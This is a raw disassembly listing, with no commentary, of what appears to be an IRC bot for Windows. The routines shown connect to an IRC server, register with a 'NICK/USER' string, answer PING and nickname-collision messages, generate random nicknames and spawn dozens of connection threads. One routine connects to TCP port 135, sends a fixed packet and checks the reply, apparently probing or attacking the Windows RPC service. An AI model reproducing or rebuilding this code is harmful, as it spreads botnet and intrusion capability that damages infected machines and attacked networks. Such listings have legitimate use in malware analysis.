		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4D6A24
		mov	eax, ds:dword_4D6C34
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176FB


loc_4176C3:				; CODE XREF: sub_417640+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417718
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4176E7
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4176E7
		cmp	dl, 20h
		jnb	short loc_4176E1
		and	[ebp+var_8], 0


loc_4176E1:				; CODE XREF: sub_417640+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4176EB


loc_4176E7:				; CODE XREF: sub_417640+90j
					; sub_417640+96j
		and	[ebp+var_8], 0


loc_4176EB:				; CODE XREF: sub_417640+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_4176C3
		cmp	[ebp+var_8], 0
		jz	short loc_417718


loc_4176FB:				; CODE XREF: sub_417640+81j
		push	[ebp+var_14]
		push	offset dword_4D5A20
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43A7B8
		push	edi
		push	esi
		call	sub_41BB70
		add	esp, 1Ch
		jmp	short loc_417730
; ---------------------------------------------------------------------------


loc_417718:				; CODE XREF: sub_417640+87j
					; sub_417640+B9j
		push	offset dword_4D5A20
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43A808
		push	edi
		push	esi
		call	sub_41BB70
		add	esp, 18h


loc_417730:				; CODE XREF: sub_417640+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417686
		push	[ebp+var_14]
		push	0
		call	ds:dword_42814C	; GetProcessHeap
		push	eax
		call	ds:dword_428144	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417640	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417759	proc near		; CODE XREF: seg000:004162FFp
					; sub_41791B+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_4CDC78	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4177D5
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_4CDBF8	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_4CDC38	; inet_addr
		cmp	eax, esi
		jnz	short loc_4177BA
		push	[ebp+arg_0]
		call	ds:dword_4CDC7C	; gethostbyname
		test	eax, eax
		jz	short loc_4177D5
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_4177BA:				; CODE XREF: sub_417759+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4CDBA0	; connect
		cmp	eax, esi
		jnz	short loc_4177D9
		push	edi
		call	ds:dword_4CDC90	; closesocket


loc_4177D5:				; CODE XREF: sub_417759+1Bj
					; sub_417759+58j
		mov	eax, esi
		jmp	short loc_4177DB
; ---------------------------------------------------------------------------


loc_4177D9:				; CODE XREF: sub_417759+73j
		mov	eax, edi


loc_4177DB:				; CODE XREF: sub_417759+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417759	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177DF	proc near		; CODE XREF: seg000:00404DA4p
					; seg000:00404E0Dp ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42B0FC ; "\n"
		push	edi
		call	sub_41C0B0
		pop	ecx
		mov	esi, offset dword_4D6C4C
		pop	ecx


loc_4177F7:				; CODE XREF: sub_4177DF+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417815
		cmp	dword ptr [esi], 0
		jbe	short loc_417815
		push	0
		push	edi
		call	sub_41B1D0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	ds:dword_4CDC48	; send


loc_417815:				; CODE XREF: sub_4177DF+1Cj
					; sub_4177DF+21j
		add	esi, 210h
		cmp	esi, offset dword_4DD36C
		jl	short loc_4177F7
		pop	edi
		pop	esi
		retn
sub_4177DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417826	proc near		; CODE XREF: sub_41791B+14Fp

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42E0C8 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C2E4
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	ebx, ebx


loc_41784A:				; CODE XREF: sub_417826+35j
		push	esi
		push	ebx
		call	sub_41C2E4
		mov	[ebp+edi*4+var_20], eax
		inc	edi
		pop	ecx
		cmp	edi, 8
		pop	ecx
		jl	short loc_41784A
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_417871
		cmp	esi, ebx
		jnz	short loc_417871
		xor	eax, eax
		inc	eax
		jmp	loc_417916
; ---------------------------------------------------------------------------


loc_417871:				; CODE XREF: sub_417826+3Dj
					; sub_417826+41j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C260
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_41789B
		lea	eax, [ebp+var_220]
		push	offset dword_43B41C
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	short loc_4178F5
; ---------------------------------------------------------------------------


loc_41789B:				; CODE XREF: sub_417826+5Dj
		push	offset a433	; "433"
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC
		push	esi
		push	offset dword_43B418
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417914


loc_4178BC:				; CODE XREF: sub_417826+83j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_41B780
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417B38
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset dword_43B40C
		push	eax
		call	sub_41BA76
		add	esp, 1Ch


loc_4178F5:				; CODE XREF: sub_417826+73j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send


loc_417914:				; CODE XREF: sub_417826+94j
		xor	eax, eax


loc_417916:				; CODE XREF: sub_417826+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41791B	proc near		; DATA XREF: sub_417ABA+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BD10
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		xor	edi, edi
		push	ds:dword_4D6E54[esi]
		lea	eax, dword_4D6C54[esi]
		inc	edi
		push	eax
		mov	ds:dword_4D6C48[esi], edi
		call	sub_417759
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4D6C4C[esi], eax
		jb	loc_417A9A
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B780
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B38
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417B38
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417B38
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41BA76
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	ds:dword_4D6C4C[esi]
		call	ds:dword_4CDC48	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch


loc_4179F4:				; CODE XREF: sub_41791B+17Aj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	ds:dword_4D6C4C[esi]
		call	ds:dword_4CDC10	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A9A
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_417A90
; ---------------------------------------------------------------------------


loc_417A28:				; CODE XREF: sub_41791B+178j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417A4F
		cmp	al, 0Ah
		jz	short loc_417A4F
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417A4F
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A89
; ---------------------------------------------------------------------------


loc_417A4F:				; CODE XREF: sub_41791B+116j
					; sub_41791B+11Aj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A89
		push	ds:dword_4D6C4C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417826
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A9A
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A89:				; CODE XREF: sub_41791B+132j
					; sub_41791B+139j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]


loc_417A90:				; CODE XREF: sub_41791B+10Bj
		mov	[ebp+var_4], eax
		jnz	short loc_417A28
		jmp	loc_4179F4
; ---------------------------------------------------------------------------


loc_417A9A:				; CODE XREF: sub_41791B+40j
					; sub_41791B+104j ...
		mov	ds:dword_4D6C48[esi], ebx
		mov	esi, ds:dword_4D6C4C[esi]
		cmp	esi, ebx
		jbe	short loc_417AB1
		push	esi
		call	ds:dword_4CDC90	; closesocket


loc_417AB1:				; CODE XREF: sub_41791B+18Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41791B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ABA	proc near		; CODE XREF: seg000:00404CF7p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417B33


loc_417ACC:				; CODE XREF: sub_417ABA+77j
		xor	edi, edi
		mov	eax, offset dword_4D6C48


loc_417AD3:				; CODE XREF: sub_417ABA+28j
		cmp	[eax], ebx
		jz	short loc_417AE4
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DD368
		jl	short loc_417AD3


loc_417AE4:				; CODE XREF: sub_417ABA+1Bj
		cmp	edi, 31h
		jz	short loc_417B33
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D6C54[esi]
		push	eax
		call	sub_41C0A0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	ds:dword_4D6E54[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	ds:dword_4D6C48[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_41791B
		push	ebx
		push	ebx
		call	ds:dword_42807C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417ACC


loc_417B33:				; CODE XREF: sub_417ABA+10j
					; sub_417ABA+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B38	proc near		; CODE XREF: seg000:0040524Ap
					; seg000:0040528Dp ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		call	sub_41BAD2
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	ds:dbl_4286F8
		call	sub_41C988
		cmp	eax, 1
		jnz	short loc_417B82
		call	sub_41BAD2
		call	sub_41BAD2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	ds:off_43AB60[edx*4]
		jmp	short loc_417B9B
; ---------------------------------------------------------------------------


loc_417B82:				; CODE XREF: sub_417B38+2Fj
		call	sub_41BAD2
		call	sub_41BAD2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	ds:off_43A860[edx*4]


loc_417B9B:				; CODE XREF: sub_417B38+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C0A0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B1D0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_41BAD2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	ds:dbl_4286F0
		call	sub_41C988
		mov	ebx, eax
		call	sub_41BAD2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4286E8
		call	sub_41C988
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417C0E
		cmp	esi, 3
		jnz	short loc_417C05
		cmp	ebx, 1
		jz	short loc_417C0E


loc_417C05:				; CODE XREF: sub_417B38+C6j
		cmp	eax, 1
		jnz	loc_417CC7


loc_417C0E:				; CODE XREF: sub_417B38+C1j
					; sub_417B38+CBj
		call	sub_41BAD2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	ds:dbl_4286E0
		call	sub_41C988
		push	ds:off_43AB60[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C0A0
		lea	ebx, [ebp+esi+var_2C]
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C1A0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417CB4
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417CB4
		call	sub_41BAD2
		mov	dword ptr [ebp+var_10+4], eax
		dec	esi
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], esi
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	ds:dbl_4286E8
		call	sub_41C988
		cmp	eax, 1
		jnz	short loc_417CB4
		push	edi
		call	sub_41B1D0
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41BAD2
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_4286E8
		call	sub_41C988
		mov	al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417CB4:				; CODE XREF: sub_417B38+110j
					; sub_417B38+121j ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C3D0
		add	esp, 0Ch


loc_417CC7:				; CODE XREF: sub_417B38+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B1D0
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_41D868
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417F1E
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_41C1A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417E20
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4286E8
		call	sub_41C988
		cmp	esi, 3
		jz	short loc_417D31
		cmp	eax, 1
		jnz	loc_417E20


loc_417D31:				; CODE XREF: sub_417B38+1EEj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D75
		push	edi
		call	sub_41B1D0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	ds:dbl_4286E8
		call	sub_41C988
		mov	al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417D93
; ---------------------------------------------------------------------------


loc_417D75:				; CODE XREF: sub_417B38+202j
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286D8
		call	sub_41C988
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417D93:				; CODE XREF: sub_417B38+23Bj
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286D0
		call	sub_41C988
		cmp	esi, 3
		jz	short loc_417DB9
		cmp	eax, ebx
		jnz	short loc_417E20


loc_417DB9:				; CODE XREF: sub_417B38+27Bj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DFE
		push	edi
		call	sub_41B1D0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	ds:dbl_4286E8
		call	sub_41C988
		mov	al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417E1C
; ---------------------------------------------------------------------------


loc_417DFE:				; CODE XREF: sub_417B38+28Bj
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286D8
		call	sub_41C988
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417E1C:				; CODE XREF: sub_417B38+2C4j
		inc	esi
		mov	[ebp+var_4], esi


loc_417E20:				; CODE XREF: sub_417B38+1C4j
					; sub_417B38+1F3j ...
		cmp	esi, 6
		jge	short loc_417EA0
		call	sub_41BAD2
		cmp	esi, 5
		jge	short loc_417E3D
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286F0
		jmp	short loc_417E56
; ---------------------------------------------------------------------------


loc_417E3D:				; CODE XREF: sub_417B38+2F5j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4286E8


loc_417E56:				; CODE XREF: sub_417B38+303j
		call	sub_41C988
		test	eax, eax
		jnz	short loc_417E79
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286C8
		call	sub_41C988
		mov	cl, 30h
		jmp	short loc_417E96
; ---------------------------------------------------------------------------


loc_417E79:				; CODE XREF: sub_417B38+325j
		cmp	eax, 1
		jnz	short loc_417EA0
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286D8
		call	sub_41C988
		mov	cl, 41h


loc_417E96:				; CODE XREF: sub_417B38+33Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417EA0:				; CODE XREF: sub_417B38+2EBj
					; sub_417B38+344j
		cmp	ebx, 2
		jge	short loc_417F1E
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4286E8
		call	sub_41C988
		cmp	eax, 1
		jnz	short loc_417F1E
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286C8
		call	sub_41C988
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286C0
		call	sub_41C988
		cmp	eax, 1
		jnz	short loc_417F1E
		cmp	ebx, eax
		jge	short loc_417F1E
		call	sub_41BAD2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4286B8
		call	sub_41C988
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417F1E:				; CODE XREF: sub_417B38+1ACj
					; sub_417B38+36Bj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B7E0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F37	proc near		; CODE XREF: sub_417F6F+125p
					; sub_417F6F+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_417F65


loc_417F48:				; CODE XREF: sub_417F37+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41D8C0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417F6B
		inc	esi
		cmp	esi, edi
		jl	short loc_417F48


loc_417F65:				; CODE XREF: sub_417F37+Fj
		xor	al, al


loc_417F67:				; CODE XREF: sub_417F37+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417F6B:				; CODE XREF: sub_417F37+27j
		mov	al, 1
		jmp	short loc_417F67
sub_417F37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F6F	proc near		; CODE XREF: sub_40DDDF+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41BD10
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_417FB0
		dec	eax
		jz	short loc_417F8E
		dec	eax


loc_417F88:				; CODE XREF: sub_417F6F+57j
		xor	eax, eax


loc_417F8A:				; CODE XREF: sub_417F6F+3Fj
					; sub_417F6F+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_417F8E:				; CODE XREF: sub_417F6F+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_4CDC38	; inet_addr
		push	eax
		call	sub_40BEF1
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_417F8A
; ---------------------------------------------------------------------------


loc_417FB0:				; CODE XREF: sub_417F6F+13j
		push	6
		push	1
		push	2
		call	ds:dword_4CDC78	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_417F88
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_4CDBF8	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A9E8
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4CDBA0	; connect
		cmp	eax, edi
		jz	loc_4180CC
		push	ebx
		push	48h
		push	offset dword_43B468
		push	esi
		call	ds:dword_4CDC48	; send
		cmp	eax, edi
		jz	loc_4180CC
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC10	; recv
		cmp	eax, edi
		jz	loc_4180CC
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_4180CC
		push	ebx
		push	18h
		push	offset dword_43B4B4
		push	[ebp+arg_4]
		call	ds:dword_4CDC48	; send
		cmp	eax, edi
		jz	short loc_4180CC
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4CDC10	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4180CC
		cmp	[ebp+var_200E],	2
		jnz	short loc_4180CC
		push	10h
		push	offset loc_43B4D0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_417F37
		add	esp, 10h
		test	al, al
		jz	short loc_4180AC
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4180CC
; ---------------------------------------------------------------------------


loc_4180AC:				; CODE XREF: sub_417F6F+12Fj
		push	10h
		push	offset dword_43B4E4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_417F37
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4180CC:				; CODE XREF: sub_417F6F+9Bj
					; sub_417F6F+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_4CDC90	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_417F8A
sub_417F6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180DD	proc near		; CODE XREF: seg000:00402697p
					; seg000:004026D1p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418168
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_418168
		cmp	[ebp+arg_8], esi
		jz	short loc_418168
		cmp	byte ptr [eax],	0
		jz	short loc_418168
		push	ebx
		push	edi
		call	sub_426689
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418163
		push	[ebp+arg_4]
		push	edi
		call	sub_41BAF0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41815C
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B7E0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B1D0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C3D0
		push	[ebp+arg_4]
		call	sub_41B1D0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C0B0
		push	ebx
		push	edi
		call	sub_41C0A0
		add	esp, 30h
		mov	esi, edi


